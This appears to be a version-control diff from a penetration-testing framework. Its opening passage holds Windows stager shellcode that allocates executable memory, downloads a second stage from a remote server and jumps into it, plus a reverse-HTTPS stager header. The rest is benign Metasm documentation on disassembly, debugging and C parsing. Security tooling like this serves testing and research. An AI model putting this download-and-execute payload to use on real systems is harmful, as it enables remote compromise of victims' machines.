push edi ; NULL as we dont care where the allocation is (zero'd from the prev function)
|
|
||||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
|
||||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
|
||||||
|
|
||||||
download_prep:
|
|
||||||
xchg eax, ebx ; place the allocated base address in ebx
|
|
||||||
push ebx ; store a copy of the stage base address on the stack
|
|
||||||
push ebx ; temporary storage for bytes read count
|
|
||||||
mov edi, esp ; &bytesRead
|
|
||||||
|
|
||||||
download_more:
|
|
||||||
push edi ; &bytesRead
|
|
||||||
push 8192 ; read length
|
|
||||||
push ebx ; buffer
|
|
||||||
push esi ; hRequest
|
|
||||||
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
|
|
||||||
call ebp
|
|
||||||
|
|
||||||
test eax,eax ; download failed? (optional?)
|
|
||||||
jz failure
|
|
||||||
|
|
||||||
mov eax, [edi]
|
|
||||||
add ebx, eax ; buffer += bytes_received
|
|
||||||
|
|
||||||
test eax,eax ; optional?
|
|
||||||
jnz download_more ; continue until it returns 0
|
|
||||||
pop eax ; clear the temporary storage
|
|
||||||
|
|
||||||
execute_stage:
|
|
||||||
ret ; dive into the stored stage address
|
|
||||||
|
|
||||||
get_server_host:
|
|
||||||
call internetconnect
|
|
||||||
|
|
||||||
server_host:
|
|
||||||
|
|
|
@ -1,19 +1,20 @@
|
||||||
;-----------------------------------------------------------------------------;
|
;-----------------------------------------------------------------------------;
|
||||||
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||||
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
|
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
|
||||||
; Version: 1.0 (24 July 2009)
|
; Version: 1.0 (24 July 2009)
|
||||||
; Size: 274 bytes
|
; Size: 274 bytes
|
||||||
; Build: >build.py stager_reverse_tcp_nx
|
; Build: >build.py stager_reverse_tcp_nx
|
||||||
;-----------------------------------------------------------------------------;
|
;-----------------------------------------------------------------------------;
|
||||||
|
|
||||||
[BITS 32]
|
[BITS 32]
|
||||||
[ORG 0]
|
[ORG 0]
|
||||||
|
|
||||||
cld ; Clear the direction flag.
|
cld ; Clear the direction flag.
|
||||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||||
%include "./src/block/block_api.asm"
|
%include "./src/block/block_api.asm"
|
||||||
start: ;
|
start: ;
|
||||||
pop ebp ; pop off the address of 'api_call' for calling later.
|
pop ebp ; pop off the address of 'api_call' for calling later.
|
||||||
%include "./src/block/block_reverse_https.asm"
|
%define ENABLE_SSL 1
|
||||||
|
%include "./src/block/block_reverse_http.asm"
|
||||||
; By here we will have performed the reverse_tcp connection and EDI will be our socket.
|
; By here we will have performed the reverse_tcp connection and EDI will be our socket.
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,2 @@
|
||||||
# Load a slightly tweaked METASM stub
|
# Load a slightly tweaked METASM stub
|
||||||
require 'metasm/metasm'
|
require 'metasm/metasm'
|
||||||
|
|
||||||
# Manually load the classes we need from METASM
|
|
||||||
require 'metasm/ia32'
|
|
||||||
require 'metasm/mips'
|
|
||||||
require 'metasm/exe_format/shellcode'
|
|
||||||
|
|
|
@ -1,2 +0,0 @@
|
||||||
repo: a1be49ad3727a7dab9202f848ad39b5674e1aada
|
|
||||||
node: 7ec6509ea16231e365fffc91014755c810c27536
|
|
|
@ -21,6 +21,10 @@ Ready-to-use scripts can be found in the samples/ subdirectory, check the
|
||||||
comments in the scripts headers. You can also try the --help argument if
|
comments in the scripts headers. You can also try the --help argument if
|
||||||
you're feeling lucky.
|
you're feeling lucky.
|
||||||
|
|
||||||
|
For more information, check the doc/ subdirectory. The text files can be
|
||||||
|
compiled to html using the misc/txt2html.rb script.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
Here is a short overview of the Metasm internals.
|
Here is a short overview of the Metasm internals.
|
||||||
|
|
||||||
|
@ -167,8 +171,8 @@ You can encode/decode an ExeFormat (ie decode sections, imports, headers etc)
|
||||||
Constructor: ExeFormat.decode_file(str), ExeFormat.decode_file_header(str)
|
Constructor: ExeFormat.decode_file(str), ExeFormat.decode_file_header(str)
|
||||||
Methods: ExeFormat#encode_file(filename), ExeFormat#encode_string
|
Methods: ExeFormat#encode_file(filename), ExeFormat#encode_string
|
||||||
|
|
||||||
PE and ELF files have a LoadedPE/LoadedELF counterpart, that is able to work
|
PE and ELF files have a LoadedPE/LoadedELF counterpart, that are able to work
|
||||||
with memory-mmaped versions of those formats (e.g. to debugging running
|
with memory-mmaped versions of those formats (e.g. to debug running
|
||||||
processes)
|
processes)
|
||||||
|
|
||||||
|
|
||||||
|
@ -198,27 +202,31 @@ disassembly/patching easily (using LoadedPE/LoadedELF as ExeFormat)
|
||||||
|
|
||||||
Debugging:
|
Debugging:
|
||||||
|
|
||||||
Metasm includes a few interfaces to allow live debugging.
|
Metasm includes a few interfaces to handle debugging.
|
||||||
The WinOS and LinOS classes offer access to the underlying OS processes (e.g.
|
The WinOS and LinOS classes offer access to the underlying OS processes (e.g.
|
||||||
OS.current.find_process('foobar') will retrieve a running process with foobar
|
OS.current.find_process('foobar') will retrieve a running process with foobar
|
||||||
in its filename ; then process.mem can be used to access its memory.)
|
in its filename ; then process.mem can be used to access its memory.)
|
||||||
|
|
||||||
The Windows and Linux debugging APIs (x86 only) have a basic ruby interface
|
The Windows and Linux low-level debugging APIs have a basic ruby interface
|
||||||
(PTrace32, extended in samples/rubstop.rb ; and WinDBG, a simple mapping of the
|
(PTrace and WinAPI) ; which are used by the unified high-end Debugger class.
|
||||||
windows debugging API) ; those will be more worked on/integrated in the future.
|
Remote debugging is supported through the GDB server wire protocol.
|
||||||
|
|
||||||
|
High-level debuggers can be created with the following ruby line:
|
||||||
|
Metasm::OS.current.create_debugger('foo')
|
||||||
|
|
||||||
|
Only one kind of host debugger class can exist at a time ; to debug multiple
|
||||||
|
processes, attach to other processes using the existing class. This is due
|
||||||
|
to the way the OS debugging API works on Windows and Linux.
|
||||||
|
|
||||||
|
The low-level backends are defined in the os/ subdirectory, the front-end is
|
||||||
|
defined in debug.rb.
|
||||||
|
|
||||||
A linux console debugging interface is available in samples/lindebug.rb ; it
|
A linux console debugging interface is available in samples/lindebug.rb ; it
|
||||||
uses a SoftICE-like look and feel.
|
uses a (simplified) SoftICE-like look and feel.
|
||||||
This interface can talk to a gdb-server through samples/gdbclient.rb ; use
|
It can talk to a gdb-server socket ; use a [udp:]<host:port> target.
|
||||||
[udp:]<host:port> as target.
|
|
||||||
|
|
||||||
The disassembler scripts allow live process interaction by using as target
|
The disassembler-gui sample allow live process interaction when using as
|
||||||
'live:<pid or part of filename>'.
|
target 'live:<pid or part of program name>'.
|
||||||
|
|
||||||
A generic debugging interface is available, it is defined in metasm/os/main.rb
|
|
||||||
It may be accessed using the Metasm::OS.current.create_debugger('foo')
|
|
||||||
|
|
||||||
It can be viewed in action using the GUI and 'open live' target.
|
|
||||||
|
|
||||||
|
|
||||||
C Parser:
|
C Parser:
|
||||||
|
@ -236,7 +244,11 @@ It handles all the constructs i am aware of, except hex floats:
|
||||||
- __int8 etc native types
|
- __int8 etc native types
|
||||||
- Label addresses (&&label)
|
- Label addresses (&&label)
|
||||||
Also note that all those things are parsed, but most of them will fail to
|
Also note that all those things are parsed, but most of them will fail to
|
||||||
compile on the Ia32 backend (the only one implemented so far.)
|
compile on the Ia32/X64 backend (the only one implemented so far.)
|
||||||
|
|
||||||
|
Parsing C files should be done using an existing ExeFormat, with the
|
||||||
|
parse_c_file method. This ensures that format-specific macros/ABI are correctly
|
||||||
|
defined (ex: size of the 'long' type, ABI to pass parameters to functions, etc)
|
||||||
|
|
||||||
When you parse a C String using C::Parser.parse(text), you receive a Parser
|
When you parse a C String using C::Parser.parse(text), you receive a Parser
|
||||||
object. It holds a #toplevel field, which is a C::Block, which holds #structs,
|
object. It holds a #toplevel field, which is a C::Block, which holds #structs,
|
||||||
|
@ -249,15 +261,11 @@ CExpressions...)
|
||||||
|
|
||||||
A C::Parser may be #precompiled to transform it into a simplified version that
|
A C::Parser may be #precompiled to transform it into a simplified version that
|
||||||
is easier to compile: typedefs are removed, control sequences are transformed
|
is easier to compile: typedefs are removed, control sequences are transformed
|
||||||
in if () goto ; etc.
|
into 'if (XX) goto YY;' etc.
|
||||||
|
|
||||||
To compile a C program, use PE/ELF.compile_c, that will create a C::Parser with
|
To compile a C program, use PE/ELF.compile_c, that will create a C::Parser with
|
||||||
exe-specific macros defined (eg __PE__ or __ELF__).
|
exe-specific macros defined (eg __PE__ or __ELF__).
|
||||||
|
|
||||||
The prefered way to create a C::Parser is to initialize it with a CPU and the
|
|
||||||
desired ExeFormat, so that it is
|
|
||||||
correctly initialized (eg type sizes: is long 4 or 8 bytes? etc) ; and
|
|
||||||
may define preprocessor macros needed to correctly parse standard headers.
|
|
||||||
Vendor-specific headers may need to use either #pragma prepare_visualstudio
|
Vendor-specific headers may need to use either #pragma prepare_visualstudio
|
||||||
(to parse the Microsoft Visual Studio headers) or prepare_gcc (for gcc), the
|
(to parse the Microsoft Visual Studio headers) or prepare_gcc (for gcc), the
|
||||||
latter may be auto-detected (or may not).
|
latter may be auto-detected (or may not).
|
||||||
|
|
|
@ -2,13 +2,14 @@ List of TODO items, by section, in random order
|
||||||
|
|
||||||
Ia32
|
Ia32
|
||||||
emu fpu
|
emu fpu
|
||||||
add all sse2 instrs
|
AVX support
|
||||||
realmode
|
realmode
|
||||||
|
|
||||||
X86_64
|
X86_64
|
||||||
decompiler
|
decompiler
|
||||||
|
|
||||||
CPU
|
CPU
|
||||||
|
Arm
|
||||||
Sparc
|
Sparc
|
||||||
Cell
|
Cell
|
||||||
|
|
||||||
|
@ -26,14 +27,14 @@ Assembler
|
||||||
Disasm
|
Disasm
|
||||||
DecodedData
|
DecodedData
|
||||||
Exe decoding generate decodeddata ?
|
Exe decoding generate decodeddata ?
|
||||||
Function-local namespace (esp+12 -> esp+var_42)
|
Function variable names using stack analysis + ExpressionString
|
||||||
Fix thunk detection (thunk: mov ecx, 42 jmp [iat_thiscall] is not a thunk)
|
Fix thunk detection (thunk: mov ecx, 42 jmp [iat_thiscall] is not a thunk)
|
||||||
Test with ET_REL style exe
|
Test with ET_REL style exe
|
||||||
Store stuff out of mem (to handle big binaries)
|
Store stuff out of mem (to handle big binaries)
|
||||||
Better :default usage
|
Better :default usage
|
||||||
good on call eax, but not on <600k instrs> ret
|
good on call eax, but not on <600k instrs> ret
|
||||||
use binary personality ? (uses call vs uses pushret..)
|
use binary personality ? (uses call vs uses pushret..)
|
||||||
Improve backtrace -> patch di.instr.args exprs
|
Improve 'backtrace => patch di.instr.args'
|
||||||
path-specific backtracking ( foo: call a ; a: jmp retloc ; bar: call b ; b: jmp retloc ; retloc: ret ; call foo ; ret : last ret trackback should only reach a:)
|
path-specific backtracking ( foo: call a ; a: jmp retloc ; bar: call b ; b: jmp retloc ; retloc: ret ; call foo ; ret : last ret trackback should only reach a:)
|
||||||
Decode pseudo/macro-instrs (mips 'li')
|
Decode pseudo/macro-instrs (mips 'li')
|
||||||
Deoptimizer (instr reordering for readability)
|
Deoptimizer (instr reordering for readability)
|
||||||
|
@ -69,6 +70,7 @@ Decompiler
|
||||||
Handle/hide compiler-generated stuff (getip, stack cookie setup/check..)
|
Handle/hide compiler-generated stuff (getip, stack cookie setup/check..)
|
||||||
Handle call 1f ; 1: pop eax
|
Handle call 1f ; 1: pop eax
|
||||||
More user control (force/forbid register arg, return type, etc)
|
More user control (force/forbid register arg, return type, etc)
|
||||||
|
Preserve C decompiled line association to range of asm decoded addrs
|
||||||
|
|
||||||
Debugger
|
Debugger
|
||||||
OSX
|
OSX
|
||||||
|
@ -81,7 +83,6 @@ Debugger
|
||||||
Remote debugging (small standalone C client)
|
Remote debugging (small standalone C client)
|
||||||
Support dbghelp.dll (ms symbol server info)
|
Support dbghelp.dll (ms symbol server info)
|
||||||
Support debugee function call (gdb 'call')
|
Support debugee function call (gdb 'call')
|
||||||
Manipulate memory through C struct casts
|
|
||||||
|
|
||||||
ExeFormat
|
ExeFormat
|
||||||
Handle minor editing without decode/reencode (eg patch ELF entrypoint)
|
Handle minor editing without decode/reencode (eg patch ELF entrypoint)
|
||||||
|
@ -105,10 +106,9 @@ GUI
|
||||||
show breakpoints
|
show breakpoints
|
||||||
show jump direction from current flag values
|
show jump direction from current flag values
|
||||||
have a console frontend
|
have a console frontend
|
||||||
better graph positionning fallback
|
|
||||||
zoom font when zooming graph
|
zoom font when zooming graph
|
||||||
copy/paste, selection
|
text selection
|
||||||
map (part of) the binary & debug it (map a PE on a linux host & run it)
|
map (part of) the binary & debug it (map a PE on a linux host & run it)
|
||||||
|
|
||||||
Ruby
|
Ruby
|
||||||
compile ruby AST to native optimized code
|
write a fast ruby-like interpreter
|
||||||
|
|
|
@ -1,146 +0,0 @@
|
||||||
Metasm source code organisation
|
|
||||||
===============================
|
|
||||||
|
|
||||||
The metasm source code takes advantage of the ruby language facilities,
|
|
||||||
which allows splitting the definition of a single class in multiple files.
|
|
||||||
|
|
||||||
Each file in the source tree holds code related to a particular feature of
|
|
||||||
the framework.
|
|
||||||
|
|
||||||
Directories
|
|
||||||
-----------
|
|
||||||
|
|
||||||
The top-level directories are :
|
|
||||||
|
|
||||||
* `doc/`: this documentation
|
|
||||||
* `metasm/`: the framework core
|
|
||||||
* `samples/`: a set of sample scripts showing various functionnalities of the framework
|
|
||||||
* `tests/`: a few unit tests (too few..)
|
|
||||||
* `misc/`: misc ruby scripts, not directly related to metasm
|
|
||||||
|
|
||||||
The core
|
|
||||||
--------
|
|
||||||
|
|
||||||
The `metasm/` directory holds most of the code of the framework, along with the
|
|
||||||
main `metasm.rb` file in the top directory.
|
|
||||||
|
|
||||||
The top-level `metasm.rb` has code to load parts of the framework source on demand
|
|
||||||
in the ruby interpreter, which is implemented with ruby's <const_missing.txt>
|
|
||||||
|
|
||||||
|
|
||||||
Executable formats
|
|
||||||
##################
|
|
||||||
|
|
||||||
The `exe_format/` subdirectory contains the implementations of the various
|
|
||||||
binary file formats supported in the framework.
|
|
||||||
|
|
||||||
Three files have a special meaning here:
|
|
||||||
|
|
||||||
* `main.rb`: it defines the <core/ExeFormat.txt> class
|
|
||||||
* `serialstruct.rb`: here you'll find the definitions of <core/SerialStruct.txt>
|
|
||||||
* `autoexe.rb`: the implementation of <core/AutoExe.txt>, which allows the recognition of arbitrary files from their binary signature.
|
|
||||||
|
|
||||||
The `main.rb` file is included in all other formats, as all file classes
|
|
||||||
are subclasses of `ExeFormat`.
|
|
||||||
|
|
||||||
The `serialstruct.rb` implements a helper class to ease the description of
|
|
||||||
binary structures, and generate parsing/encoding functions for those.
|
|
||||||
|
|
||||||
All other files implement a specific file format handler. The bigger files
|
|
||||||
(`ELF` and `PE/COFF`) are split between the parsing/encoding functions and
|
|
||||||
decoding/disassembly.
|
|
||||||
|
|
||||||
|
|
||||||
CPUs
|
|
||||||
####
|
|
||||||
|
|
||||||
All supported architectures have a dedicated subdirectory, and a helper file
|
|
||||||
that will simply include all the arch-specific files.
|
|
||||||
|
|
||||||
All those files will contribute to add functions to the same class implementing
|
|
||||||
the CPU interface. Not all CPUs implement all those features. They are:
|
|
||||||
|
|
||||||
* `main.rb`: inner classes definitions (for registers etc), generic functions
|
|
||||||
* `opcodes.rb`: initializes the opcode list for the architecture
|
|
||||||
* `encode.rb`: methods to encode instructions
|
|
||||||
* `decode.rb`: methods to decode/emulate instructions
|
|
||||||
* `parse.rb`: methods to parse asm instructions from a source file
|
|
||||||
* `render.rb`: methods to output an instruction to a string
|
|
||||||
* `compile_c.rb`: the C compiler implementation
|
|
||||||
* `decompile.rb`: the arch-specific part of the generic decompiler
|
|
||||||
* `debug.rb`: arch-specific information used when debugging target of this architecture
|
|
||||||
|
|
||||||
In some cases the files are small enough to be all merged into the `main.rb` file.
|
|
||||||
|
|
||||||
|
|
||||||
Operating systems
|
|
||||||
#################
|
|
||||||
|
|
||||||
The `os/` subdirectory holds the code used to abstract an operating systems.
|
|
||||||
|
|
||||||
The files here define an API allowing to enumerate running processes, and interact
|
|
||||||
with them in various ways. The <core/Debugger.txt> class and subclasses are
|
|
||||||
defined there.
|
|
||||||
|
|
||||||
Those files also holds the list of known functions and in which system libraries
|
|
||||||
they can be found (see <core/WindowsExports.txt> or <core/GNUExports.txt>), which
|
|
||||||
are used when linking executable files.
|
|
||||||
|
|
||||||
|
|
||||||
Graphical user-interface
|
|
||||||
########################
|
|
||||||
|
|
||||||
The `gui/` subdirectory contains the code needed by the metasm graphical user-interfaces.
|
|
||||||
|
|
||||||
Currently those include the disassembler and the debugger (see the *samples* section).
|
|
||||||
|
|
||||||
Those GUI elements are implemented using a custom GUI abstraction, and reside in the
|
|
||||||
various `dasm_*.rb` and `debug.rb`.
|
|
||||||
|
|
||||||
The actual implementation of the GUI are found in:
|
|
||||||
|
|
||||||
* `win32.rb`: the native Win32 API backend
|
|
||||||
* `gtk.rb`: a Gtk2 backend, intended for unix platforms
|
|
||||||
* `qt.rb`: a Qt backend experiment
|
|
||||||
|
|
||||||
Please note that the Qt backend does not work *at all*.
|
|
||||||
|
|
||||||
The `gui.rb` file in the main directory is used to chose among the available GUI backend
|
|
||||||
the most appropriate for the current session.
|
|
||||||
|
|
||||||
|
|
||||||
Others
|
|
||||||
######
|
|
||||||
|
|
||||||
The other files directly in the `metasm/` directory are either support files
|
|
||||||
(eg `encode.rb`, `parse.rb`) that hold generic functions to be used by
|
|
||||||
specific cpu/exeformat instances, or implement arch-agnostic features.
|
|
||||||
Those include:
|
|
||||||
|
|
||||||
* `preprocessor.rb`: the C/asm preprocessor/lexer
|
|
||||||
* `parse_c.rb`: this is the implementation of the C parser
|
|
||||||
* `compile_c.rb`: this is a C precompiler, it generates a very simplified C from a standard source
|
|
||||||
* `decompile.rb`: the generic decompiler code, it uses arch-specific functions defined in the arch folder
|
|
||||||
* `dynldr.rb`: this module is used when interacting directly with the host operating system through <core/DynLdr.txt>
|
|
||||||
|
|
||||||
|
|
||||||
The samples
|
|
||||||
-----------
|
|
||||||
|
|
||||||
The `samples/` directory contains a lot of small files that intend to be
|
|
||||||
exemples of how to use the framework. It also holds experiments and
|
|
||||||
work-in-progress for features that may later be integrated into the main
|
|
||||||
framework.
|
|
||||||
|
|
||||||
The comment at the beginning of the file should be clear about the purpose
|
|
||||||
of the script, and the scripts are expected to be copy/pasted and tweaked
|
|
||||||
for the specific task needed by the user (that's you).
|
|
||||||
|
|
||||||
Some of those files however are full-featured applications:
|
|
||||||
|
|
||||||
* `exeencode.rb`: a shellcode compiler, with its `peencode.rb`, `elfencode.rb`, `machoencode.rb` counterparts
|
|
||||||
* `disassemble.rb`: a disassembler
|
|
||||||
* `disassemble-gui.rb`: the graphical disassembler / debugger
|
|
||||||
|
|
||||||
The `samples/dasm-plugins/` subdirectory holds various plugins for the disassembler.
|
|
||||||
|
|
|
@ -1,16 +0,0 @@
|
||||||
The const_missing trick
|
|
||||||
=======================
|
|
||||||
|
|
||||||
Metasm uses a ruby trick to load most of the framework on demand, so that
|
|
||||||
*e.g.* the `MIPS`-related classes are never loaded in the ruby interpreter
|
|
||||||
unless you use them.
|
|
||||||
|
|
||||||
It is setup by the top-level `metasm.rb` file, by using the ruby mechanism of
|
|
||||||
`Module.autoload`. This mechanism will automatically load the specified metasm
|
|
||||||
components whenever a reference is made to one of the constants listed here.
|
|
||||||
|
|
||||||
Metasm provides a replacement top-level file, `misc/metasm-all.rb`,
|
|
||||||
which will unconditionally load all metasm files.
|
|
||||||
This will not however load mutually exclusive files, like the Gui subsystems ;
|
|
||||||
in this case it will load only the autodetected gui module (win32 or gtk).
|
|
||||||
|
|
|
@ -1,247 +0,0 @@
|
||||||
DynLdr
|
|
||||||
======
|
|
||||||
|
|
||||||
DynLdr is a class that uses metasm to dynamically add native methods,
|
|
||||||
or native method wrappers, available to the running ruby interpreter.
|
|
||||||
|
|
||||||
It leverages the built-in C parser / compiler.
|
|
||||||
|
|
||||||
It is implemented in `metasm/dynldr.rb`.
|
|
||||||
|
|
||||||
Currently only supported for <core/Ia32.txt> and <core/X86_64.txt> under
|
|
||||||
Windows and Linux.
|
|
||||||
|
|
||||||
|
|
||||||
Basics
|
|
||||||
------
|
|
||||||
|
|
||||||
Native library wrapper
|
|
||||||
######################
|
|
||||||
|
|
||||||
The main usage is to generate interfaces to native libraries.
|
|
||||||
|
|
||||||
This is done through the `#new_api_c` method.
|
|
||||||
|
|
||||||
The following exemple will read the specified C header fragment,
|
|
||||||
define ruby constants for all `#define`/`enum`, and define ruby
|
|
||||||
method wrappers to call the native functions whose prototype is
|
|
||||||
present in the header.
|
|
||||||
|
|
||||||
All referenced native functions must be exported by the given
|
|
||||||
library file.
|
|
||||||
|
|
||||||
class MyInterface < DynLdr
|
|
||||||
c_header = <<EOS
|
|
||||||
#define SomeConst 42
|
|
||||||
enum { V1, V2 };
|
|
||||||
|
|
||||||
__stdcall int methodist(char*, int);
|
|
||||||
EOS
|
|
||||||
|
|
||||||
new_api_c c_header, 'mylib.dll'
|
|
||||||
end
|
|
||||||
|
|
||||||
Then you can call, from the ruby:
|
|
||||||
|
|
||||||
MyInterface.methodist("lol", MyInterface::SOMECONST)
|
|
||||||
|
|
||||||
Constant/enum names are converted to full uppercase, and method
|
|
||||||
names are converted to full lowercase.
|
|
||||||
|
|
||||||
Dynamic native inline function
|
|
||||||
##############################
|
|
||||||
|
|
||||||
You can also dynamically compile native functions, that are compiled
|
|
||||||
in memory and copied to RWX memory with the right ruby wrapper:
|
|
||||||
|
|
||||||
class MyInterface < DynLdr
|
|
||||||
new_func_c <<EOS
|
|
||||||
int bla(char*arg) {
|
|
||||||
if (strlen(arg) > 4)
|
|
||||||
return 1;
|
|
||||||
else
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
EOS
|
|
||||||
end
|
|
||||||
|
|
||||||
References to external functions are allowed, and resolved automatically.
|
|
||||||
|
|
||||||
The ruby objects used as arguments to the wrapper method are
|
|
||||||
automatically converted to the right C type.
|
|
||||||
|
|
||||||
|
|
||||||
You can also write native functions in assembly, but you must specify a
|
|
||||||
C prototype, used for argument and return value conversion.
|
|
||||||
|
|
||||||
class MyInterface < DynLdr
|
|
||||||
new_func_asm "int increment(int i);", <<EOS
|
|
||||||
mov eax, [esp+4]
|
|
||||||
inc eax
|
|
||||||
ret
|
|
||||||
EOS
|
|
||||||
|
|
||||||
p increment(4)
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
Structures
|
|
||||||
----------
|
|
||||||
|
|
||||||
`DynLdr` handles C structures.
|
|
||||||
|
|
||||||
Once a structure is specified in the C part, you can create a ruby object
|
|
||||||
using `MyClass.alloc_c_struct(structname)`, which will allocate an object of the
|
|
||||||
right size to hold all the structure members, and with the right accessors.
|
|
||||||
|
|
||||||
To access/modify struct members, you can either use a `Hash`-style access
|
|
||||||
|
|
||||||
structobj['membername'] = 42
|
|
||||||
|
|
||||||
or `Struct`-style access
|
|
||||||
|
|
||||||
structobj.membername = 42
|
|
||||||
|
|
||||||
Member names are matched case-insensitively, and nested structures/unions
|
|
||||||
are also searched.
|
|
||||||
|
|
||||||
The struct members can be initially populated by passing a `Hash` argument
|
|
||||||
to the `alloc_c_struct` constructor. Additionally, this hash may use the
|
|
||||||
special value `:size` to reference the byte size of the current structure.
|
|
||||||
|
|
||||||
class MyInterface < DynLdr
|
|
||||||
new_api_c <<EOS
|
|
||||||
struct sname {
|
|
||||||
int s_mysize;
|
|
||||||
int s_value;
|
|
||||||
union {
|
|
||||||
struct {
|
|
||||||
int s_bits:4;
|
|
||||||
int s_bits2:4;
|
|
||||||
};
|
|
||||||
int s_union;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
EOS
|
|
||||||
end
|
|
||||||
|
|
||||||
# field s_mysize holds the size of the structure in bytes, ie 12
|
|
||||||
s_obj = MyInterface.alloc_c_struct('sname', :s_mysize => :size, :s_value => 42)
|
|
||||||
|
|
||||||
# we can access fields using Hash-style access
|
|
||||||
s_obj['s_UniOn'] = 0xa8
|
|
||||||
|
|
||||||
# or Struct-style access
|
|
||||||
puts '0x%x' % s_obj.s_BiTS2 # => '0xa'
|
|
||||||
|
|
||||||
This object can be directly passed as argument to a wrapped function, and
|
|
||||||
the native function will receive a pointer to this structure (that it can
|
|
||||||
freely modify).
|
|
||||||
|
|
||||||
This object is a `C::AllocStruct`, defined in `metasm/parse_c.rb`.
|
|
||||||
Internally, it is based on a ruby `String`, and has a reference to the parser's
|
|
||||||
`Struct` to find the mapping membername -> offsets/length.
|
|
||||||
|
|
||||||
See <core/CParser.txt> for more details.
|
|
||||||
|
|
||||||
|
|
||||||
Callbacks
|
|
||||||
---------
|
|
||||||
|
|
||||||
`DynLdr` handles C callbacks, with arbitrary ABI.
|
|
||||||
|
|
||||||
Any number of callbacks can be defined at any time.
|
|
||||||
|
|
||||||
C callbacks are backed by a ruby `Proc`, eg `lambda {}`.
|
|
||||||
|
|
||||||
|
|
||||||
class MyInterface < DynLdr
|
|
||||||
new_api_c <<EOS
|
|
||||||
void qsort(void *, int, int, int(*)(void*, void*));
|
|
||||||
EOS
|
|
||||||
|
|
||||||
str = "sanotheusnaonetuh"
|
|
||||||
cmp = lambda { |p1, p2|
|
|
||||||
memory_read(p1, 1) <=> memory_read(p2, 1)
|
|
||||||
}
|
|
||||||
qsort(str, str.length, 1, cmp)
|
|
||||||
p str
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
Argument conversion
|
|
||||||
-------------------
|
|
||||||
|
|
||||||
Ruby objects passed to a wrapper method are converted to the corresponding
|
|
||||||
C type
|
|
||||||
|
|
||||||
* `Strings` are converted to a C pointer to the byte buffer (also directly
|
|
||||||
accessible from the ruby through `DynLdr.str_ptr(obj)`
|
|
||||||
* `Integers` are converted to their C equivalent, according to the prototype
|
|
||||||
(`char`, `unsigned long long`, ...)
|
|
||||||
* `Procs` are converted to a C callback
|
|
||||||
* `Floats` are not supported for now.
|
|
||||||
|
|
||||||
|
|
||||||
Working with memory
|
|
||||||
-------------------
|
|
||||||
|
|
||||||
DynLdr provides different ways to allocate memory.
|
|
||||||
|
|
||||||
* `alloc_c_struct` to allocate a C structure
|
|
||||||
* `alloc_c_ary` to allocate C array of some type
|
|
||||||
* `alloc_c_ptr`, which is just an ary of size 1
|
|
||||||
* `memory_alloc` allocates memory from a new memory page
|
|
||||||
|
|
||||||
`memory_alloc` works by calling `mmap` under linux and `VirtualAlloc` under windows,
|
|
||||||
and is suitable for allocating memory where you want to control
|
|
||||||
the memory permissions (read, write, execute). This is done through `memory_perm`.
|
|
||||||
|
|
||||||
`memory_perm` takes for argument the start address, the length, and the new permission, specified as a String (e.g. 'r', 'rwx')
|
|
||||||
|
|
||||||
To work with memory that may be returned by an API (e.g. `malloc`),
|
|
||||||
DynLdr provides ways to read and write arbitrary pointers from the ruby
|
|
||||||
interpreter memory.
|
|
||||||
Take care, those may generate faults when called with invalid addresses that
|
|
||||||
will crash the ruby interpreter.
|
|
||||||
|
|
||||||
* `memory_read` takes a pointer and a length, and returns a String
|
|
||||||
* `memory_read_int` takes a pointer, and returns an Integer (of pointer size,
|
|
||||||
e.g. 64 bit in a 64-bit interpreter)
|
|
||||||
* `memory_write` takes a pointer and a String, and writes it to memory
|
|
||||||
* `memory_write_int`
|
|
||||||
|
|
||||||
|
|
||||||
Hacking
|
|
||||||
-------
|
|
||||||
|
|
||||||
Internally, DynLdr relies on a number of features that are not directly
|
|
||||||
available from the ruby interpreter.
|
|
||||||
|
|
||||||
So the first thing done by the script is to generate a binary native module
|
|
||||||
that will act as a C extension to the ruby interpreter.
|
|
||||||
This binary is necessarily different depending on the interpreter.
|
|
||||||
The binary name includes the target architecture, in the format
|
|
||||||
dynldr-*arch*-*cpu*-*19*.so, e.g.
|
|
||||||
|
|
||||||
* dynldr-linux-ia32.so
|
|
||||||
* dynldr-windows-x64-19.so
|
|
||||||
|
|
||||||
This native module is (re)generated if it does not exist, or is older than the
|
|
||||||
`dynldr.rb` script.
|
|
||||||
|
|
||||||
A special trick is used in this module, as it does not know the actual name
|
|
||||||
of the ruby library used by the interpreter. So on linux, the `libruby` is
|
|
||||||
removed from the `DT_NEEDED` library list, and on windows a special stub
|
|
||||||
is assembled to manually resolve the ruby imports needed by the module from
|
|
||||||
any instance of `libruby` present in the running process.
|
|
||||||
|
|
||||||
The native file is written to a directory writeably by the current user.
|
|
||||||
The following list of directories are tried, until a suitable one is found:
|
|
||||||
|
|
||||||
* the `metasm` directory itself
|
|
||||||
* the `$HOME`/`$APPDATA`/`$USERPROFILE` directory
|
|
||||||
* the `$TMP`/`$TEMP`/current directory
|
|
||||||
|
|
|
@ -1,43 +0,0 @@
|
||||||
ExeFormat
|
|
||||||
=========
|
|
||||||
|
|
||||||
This class is the parent of all executable format handlers.
|
|
||||||
|
|
||||||
It is defined in `metasm/exe_format/main.rb`.
|
|
||||||
|
|
||||||
It defines some standard shortcut functions, such as:
|
|
||||||
|
|
||||||
* `Exe.decode_file(filename)`
|
|
||||||
* `Exe.assemble(cpu,asm_source)`
|
|
||||||
* `Exe.compile_c(cpu,c_source)`
|
|
||||||
* `Exe#encode_file(filename)`
|
|
||||||
|
|
||||||
These methods will instanciate a new Exe, and call the corresponding
|
|
||||||
methods, *e.g.* `load` with the file content, and `decode`.
|
|
||||||
|
|
||||||
The handling of the different structures in the binary format should be
|
|
||||||
